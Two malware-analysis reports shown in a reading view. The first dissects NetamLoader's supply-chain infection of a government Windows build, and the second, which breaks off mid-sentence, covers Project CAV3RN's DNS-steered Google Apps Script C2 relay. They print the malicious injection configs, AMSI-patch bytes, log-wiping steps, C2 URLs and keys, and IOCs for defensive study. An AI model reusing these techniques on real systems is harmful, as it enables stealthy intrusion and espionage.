❌

Reading view

There are new articles available, click to refresh the page.

Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

Introduction

A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.

The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.

Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.

Background

During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:

C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d

Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.

Initial infection

The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:

Files compressed in the CAB file

Files compressed in the CAB file


Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

After the file is launched in this manner, the infection chain progresses to stage 1.

Stage 1

Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.

Infection chain: Stage 1

Infection chain: Stage 1

Step 1

The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
	<runtime>
		<appDomainManagerType  value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
       </appDomainManagerType>
		<appDomainManagerAssembly  value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, 
                    Culture=neutral, PublicKeyToken=31bf3856ad364e35">
       </appDomainManagerAssembly>
		<NGenAssemblyUsageLog enabled="0" />
	</runtime>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
    </startup>
</configuration>

According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:

<?xml version="1.0" encoding="utf-8"?>
<section name="foo">
    <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, 
                Version=4.0.0.0, Culture=neutral, 
                PublicKeyToken=b77a5c561934e089(Resources.resx)" />
</section>

Step 2

The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.

In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:

Multiple layers of payloads are compressed and encrypted in the .resx file

Multiple layers of payloads are compressed and encrypted in the .resx file

The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.

Base64-encoded serialized binary object in Resources.resx

Base64-encoded serialized binary object in Resources.resx

Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.

XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.

A code snippet of XAML-1

A code snippet of XAML-1

Step 3

The XAML-1 code acts as a loader for an embedded payload. The process is as follows:

  1. Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
  2. Generate the AES key by hashing the command‑line string with SHA‑256.
  3. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
  4. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
  5. If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.

Stage 2

XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.

Infection chain: Stage 2

Infection chain: Stage 2

XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().

A code snippet of XAML-2

A code snippet of XAML-2

XAML-2-1

The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.

Sensitive strings in XAML-2-1 are cut into tiny pieces

Sensitive strings in XAML-2-1 are cut into tiny pieces

To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.

The key steps it takes to achieve its goal are as follows:

  1. Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
  2. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
  3. Patch the AMSI module.
    • Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
    • Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
    • Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).

One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.

XAML-2-2

XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.

.NET 1 Loader

.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:

{
    "p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
    "c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
}

  • JSON-1-c
    This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.
    sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped.
    c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server.
    tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate.
    e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.
  • JSON-1-p
    JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:
    • oib: Base64‑encoded .NET 2 Plugin (PE file)
    • oub: Base64‑encoded XAML that invokes Exit(0)
    • ibk: AES key used to decrypt ibi
    • ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.

    Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.

    [
        {
            "c": [
                {
                    "cu": "https://openaigpt4v.com/model_v4/",
                    "tp": "*",
                    "rh": ""
                }
            ],
            "mib": 79200,
            "mab": 100800,
            "mis": 1200,
            "mas": 2400,
            "e": "9fT04e03tAiZAPogcDWt0w==",
            "ii":  null,
            "aop": null,
            "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...",
            "oub": "PFJlc291cmNlRGljdGlvbmFyeS...",
            "wi": 100801,
            "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=",
            "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...",
            "de": false
        }
    ]

After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:

  1. Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
    • Delete malicious files extracted from the CAB
      PatchMyPC-ScriptRunner.exe.config
      fabric.config
      Resources.resx
    • Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.

      %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log
      %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf

    • Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.
      "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"

  2. Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
     
    For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
  3. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
  4. Verify that the current user is an administrator; if not, throw an exception with code 128.
  5. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
  6. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
  7. Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
  8. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
  9. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
  10. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
  11. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.

    [
        {
            // Fixed value
            "_": "0202097a-5c1e-460d-b5e0-030b9756b242",
            // Error number: 0 indicates successful execution
            "e": "0 ",
            // Value of config "ii"
            "i": "94aafd58-c00c-402a-aae6-858b4486a1a4"
        }
    ]

  12. POST the encrypted and encoded result to the reporting C2 server.

XAML-3


XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).

The multi-layer encryption structure of "ibi"

The multi-layer encryption structure of “ibi”

The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.

Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).

The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.

Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.

The C2 configuration in XAML‑P2 is shown below:

Item Value Description
ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one).
ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication.
bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals.
is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion.
u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0)
wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process.
de False Local exception logging switch: when set to False, exception logging is enabled.
si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId.
cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list.
tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu.
rh   Additional route header/data: not configured in this instance.

When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().

.NET 2 Plugin

This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.

The following key steps are executed in this thread:

  1. Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
  2. Gather system information from the registry:
    • "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version"
      "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
    • Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
  3. Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
    • Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
    • If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
    • "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2}
      DllSurrogate = ""
  4. Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
  5. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
  6. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
  7. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
  8. Periodic polling:
    1. Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
    2. Obtain the system proxy using three methods (see the Discovering proxies section below).
    3. Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
    4. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
    5. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.

      // Final HTTP request URL
      "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"

    6. Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
    7. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
    8. If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.

AES encryption scheme for network traffic


All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.

For a given master key and a single-byte seed, the derivation works as follows:

  1. Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
  2. Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
  3. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
  4. Take the first 16 bytes of the resulting hash; this becomes the final derived key.

Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.

Seed Key type generated (client side) Key type generated (server side)
0 Decryption key Encryption key
1 Decryption authentication key Encryption authentication key
2 Encryption key Decryption key
3 Encryption authentication key Decryption authentication key

The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.

Discovering proxies


.NET 2 Plugin detects the system proxy using three methods:

  • Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
  • If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
  • If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.

These methods ensure that the malware can reach external networks even in complex network environments with proxies.

Execute downloaded XAML payload in an isolated AppDomain


This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.

In more detail, the process is as follows:

  1. Create a new isolated AppDomain with a randomly generated GUID as its name.
  2. Copy all configuration data from the current AppDomain into the new one.
  3. Set the proxy information in the new AppDomain and assign it to the variable px.
  4. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
  5. Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
  6. Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
  7. Unload the isolated AppDomain to complete the cleanup.

This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.

Infrastructure

The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.

Domain IP First seen Domain Registrar/ASN
openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169

Victims

Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.

Attribution

After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.

Conclusions

Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.

Indicators of Compromise

File hashes

F2458ED133F8D0CA19E22C10F577E98E    e4537a1762fcafd2fd96bfc825bad34f9db9a24d
E1DC6F1ED193594F2284BE22AE08DFA4               Resources.resx
AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader
CFB8B281BDF5D9390E64B10C312FB2C1              .NET 2 Plugin
67E3617F8709D34F806F8E02BADBA8A5    fabric.config
514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config
514117D536E347560D049CFE0C609632     XAML-1
9000820D8153C24CD60D53001D3A97B6    XAML-2
B3C4A635179680EDAFB5D006CF0CFFC6              XAML-2-1
4F28622C5E60C01319BF48CF742FE1A5    XAML-2-2
C86D53392A87DD3F3E62D62C9B92A9BD              XAML-3

File paths

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
C:\Windows\SoftwareDistribution\Download\Install\fabric.config
C:\Windows\SoftwareDistribution\Download\Install\Resources.resx

Domains and IPs

openaigpt4v[.]com

Project CAV3RN continues: Google Apps Script as C2 relay and DNS-based C2 channel selection

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command Functionality
s_version Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog Enables diagnostic logging at the Debug level.
s_deLog Disables diagnostic logging and sets the logging level to Fatal.
s_write Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet None (0) GIDFailed (1) GoogleFailed (2) DirectFailed (3)
120 (0x78) Google Apps Script Direct HTTPS Direct HTTPS Google Apps Script
130 (0x82) Direct HTTPS Direct HTTPS Direct HTTPS Close the transaction (no channel)
140 (0x8C) Exception Exception Exception Exception
All other values Google Apps Script Google Apps Script Google Apps Script Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

DNS-based deployment-ID freshness check

DNS-based deployment-ID freshness check

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

